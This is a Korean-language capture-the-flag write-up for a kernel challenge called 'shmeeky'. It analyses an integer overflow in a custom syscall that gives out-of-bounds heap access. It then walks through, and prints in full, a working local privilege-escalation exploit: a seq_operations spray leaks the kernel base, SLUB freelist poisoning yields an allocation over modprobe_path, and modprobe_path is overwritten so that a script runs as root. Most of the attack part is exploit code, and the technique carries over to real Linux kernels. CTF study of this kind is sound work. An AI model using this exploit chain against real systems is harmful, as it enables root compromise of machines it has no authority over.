shmeeky
취약점 분석
1. shmvec_init()의 integer overflow
shmvec_init()은 사용자가 전달한 count에 sizeof(uint64_t)를 곱해서 할당 크기를 계산한다. 하지만 곱셈 결과에 대한 overflow 검사가 없다. count는 uint64_t이므로 큰 값을 전달하면 count * 8이 64-bit 범위에서 wraparound되어 작은 값이 된다.
예를 들어 count = 0x2000000000000004를 전달하면 실제 할당 크기는 0x20이 된다. 반면 shmvec_state.length에는 overflow 전의 거대한 count가 저장된다. 이로 인해 실제로는 kmalloc-32 객체 하나만 할당됐는데, 이후 shmvec_get()과 shmvec_set()에서는 매우 큰 범위까지 접근할 수 있다.
SYSCALL_DEFINE1(shmvec_init, uint64_t, count)
{
if((count * sizeof(uint64_t)) < 128 * 1000 * 1000) {
shmvec_state.vec = (uint64_t*) kmalloc(count * sizeof(uint64_t), GFP_KERNEL);
shmvec_state.length = count;
return 0;
} else {
return -1;
}
}2. shmvec_get() / shmvec_set()의 OOB read/write
shmvec_get()과 shmvec_set()은 index < shmvec_state.length만 검사한다. 하지만 length는 실제 할당 크기와 불일치할 수 있다. 따라서 overflow로 작은 객체를 할당한 뒤 큰 length를 유지하면, 할당 객체 뒤쪽의 SLUB 객체들을 읽고 쓸 수 있다.
이 primitive로 kmalloc-32에 배치된 seq_operations 객체를 leak하고, close 후 freed object의 SLUB freelist pointer를 덮어 modprobe_path를 할당받는 freelist poisoning을 수행할 수 있다.
SYSCALL_DEFINE2(shmvec_set, uint64_t, index, uint64_t, data)
{
if(shmvec_state.vec && index < shmvec_state.length) {
shmvec_state.vec[index] = data;
return 0;
} else {
return -1;
}
}
SYSCALL_DEFINE2(shmvec_get, uint64_t, index, uint64_t __user *, dest )
{
if(shmvec_state.vec && index < shmvec_state.length) {
put_user(shmvec_state.vec[index], dest);
return 0;
} else {
return -1;
}
}추가 문제점
shmvec_state는 전역 상태인데 락이 없다. 여러 스레드나 프로세스가 동시에 syscall을 호출하면 race condition이 가능하다. 또한 kmalloc() 실패 체크가 없고, put_user() 반환값도 검사하지 않는다.
Exploit 과정
Step 1: overflow로 kmalloc-32 OOB primitive 생성
count = 0x2000000000000004를 전달하면 count * 8이 overflow되어 실제 할당 크기는 0x20이 된다. 하지만 length는 큰 값으로 저장되므로 shmvec_get()과 shmvec_set()으로 kmalloc-32 인접 객체를 OOB 접근할 수 있다.
uint64_t count = 0x2000000000000004;
syscall(600, count); // shmvec_initStep 2: seq_operations spray
/proc/self/stat를 여러 번 열면 seq_operations 객체가 kmalloc-32에 할당된다. seq_operations는 함수 포인터를 포함하므로 kernel text pointer leak에 적합하다.
for (int i = 0; i < 0x40; i++)
spray[i] = open("/proc/self/stat", O_RDONLY);Step 3: kernel base와 modprobe_path 주소 계산
OOB read로 seq_operations 내부 함수 포인터를 읽는다. 현재 코드에서는 data[10]에 single_next가 있다고 가정하고 0x239110 offset을 빼 kernel base를 계산한다.
for (int i = 0; i < 0x40; i++)
syscall(603, i, &data[i]);
kernel_base = data[10] - 0x239110;
modprobe_path = kernel_base + 0x1850DA0;Step 4: sprayed fd close 후 freelist pointer overwrite
spray한 fd를 모두 닫으면 seq_operations 객체들이 free된다. SLUB는 freed object 내부에 freelist pointer를 저장한다. 이 환경에서는 seq_operations의 next 필드 위치인 +0x10에 freelist pointer가 놓인다.
현재 코드에서는 OOB index 10이 해당 freepointer 위치라고 보고 modprobe_path 주소로 덮는다.
for (int i = 0; i < 0x40; i++)
close(spray[i]);
syscall(602, 10, modprobe_path);Step 5: freelist poisoning으로 modprobe_path 할당받기
이후 shmvec_init()을 반복 호출해서 kmalloc-32 freelist를 소비한다. 어느 순간 poisoned freelist가 사용되면 shmvec_state.vec가 modprobe_path를 가리킨다.
이를 확인하기 위해 index 0, index 1을 읽어 "/sbin/modprobe" 문자열의 qword와 비교한다.
uint64_t modprobe_q0 = 0x6f6d2f6e6962732f; // "/sbin/mo"
uint64_t modprobe_q1 = 0x000065626f727064; // "dprobe\0\0"
for (int n = 0; n < 0x100; n++)
{
uint64_t q0 = 0;
uint64_t q1 = 0;
syscall(600, count);
syscall(603, 0, &q0);
syscall(603, 1, &q1);
if (q0 == modprobe_q0 && q1 == modprobe_q1)
break;
}Step 6: modprobe_path를 /tmp/ex로 overwrite
shmvec_state.vec == modprobe_path가 된 상태에서 index 0에 "/tmp/ex\0" qword를 쓴다. 포인터 값을 쓰는 것이 아니라 문자열 바이트 자체를 qword로 써야 한다.
char payload[8] = "/tmp/ex\0";
syscall(602, 0, *(uint64_t *)payload);Step 7: unknown binary 실행으로 modprobe trigger
알 수 없는 magic bytes를 가진 실행 파일을 실행하면 kernel이 modprobe_path를 통해 usermode helper를 실행한다. modprobe_path가 /tmp/ex로 바뀌었으므로 /tmp/ex가 root 권한으로 실행되고 flag를 /tmp/flag로 복사한다.
system("echo -ne '#!/bin/sh\n' > /tmp/ex");
system("echo -ne 'cat /dev/sda > /tmp/flag\n' >> /tmp/ex");
system("chmod 777 /tmp/ex");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod 777 /tmp/dummy");
system("/tmp/dummy");
system("cat /tmp/flag");Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
int main()
{
important("happy hacking!");
uint64_t count = 0x2000000000000004;
uint64_t data[0x40] = {0};
uint64_t spray[0x40] = {0};
uint64_t kernel_base, modprobe_path;
syscall(600, count); // shmvec_init
// heap spray
for (int i = 0; i < 0x40; i++)
spray[i] = open("/proc/self/stat", O_RDONLY);
info("spray done");
// leak kernel base address
for (int i = 0; i < 0x40; i++)
syscall(603, i, &data[i]); // shmvec_get
kernel_base = data[10] - 0x239110;
modprobe_path = kernel_base + 0x1850DA0;
info("kernel base: %p", kernel_base);
info("modprobe_path: %p", modprobe_path);
// close all
for (int i = 0; i < 0x40; i++)
close(spray[i]);
info("close done");
// check memory for debugging
for (int i = 0x40 - 1; i >= 0; i--)
syscall(603, i, &data[i]); // shmvec_get
hexdump(data, 0x40 * sizeof(uint64_t));
// overwrite freelist pointer
syscall(602, 10, modprobe_path);
// kmalloc until we get the modprobe_path pointer
uint64_t modprobe_q0 = 0x6f6d2f6e6962732f; // "/sbin/mo"
uint64_t modprobe_q1 = 0x000065626f727064; // "dprobe\0\0"
int found = 0;
for (int n = 0; n < 0x100; n++)
{
uint64_t q0 = 0;
uint64_t q1 = 0;
syscall(600, count); // kmalloc-32 consume
syscall(603, 0, &q0); // *(uint64_t *)vec
syscall(603, 1, &q1); // *(uint64_t *)(vec + 8)
if (q0 == modprobe_q0 && q1 == modprobe_q1)
{
info("alloc %d: %p %p", n, (void *)q0, (void *)q1);
found = 1;
break;
}
}
if (!found)
error("failed to allocate modprobe_path");
else
info("successfully allocated modprobe_path");
// setting /tmp/ex
system("echo -ne '#!/bin/sh\n' > /tmp/ex");
system("echo -ne 'cat /dev/sda > /tmp/flag\n' >> /tmp/ex");
system("chmod 777 /tmp/ex");
info("/tmp/ex created");
// overwrite modprobe_path with /tmp/ex
char payload[8] = "/tmp/ex\0";
syscall(602, 0, *(uint64_t *)payload); // overwrite modprobe_path with /tmp/ex
// trigger modprobe_path
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod 777 /tmp/dummy");
system("/tmp/dummy");
// read the flag
system("cat /tmp/flag");
return 0;
}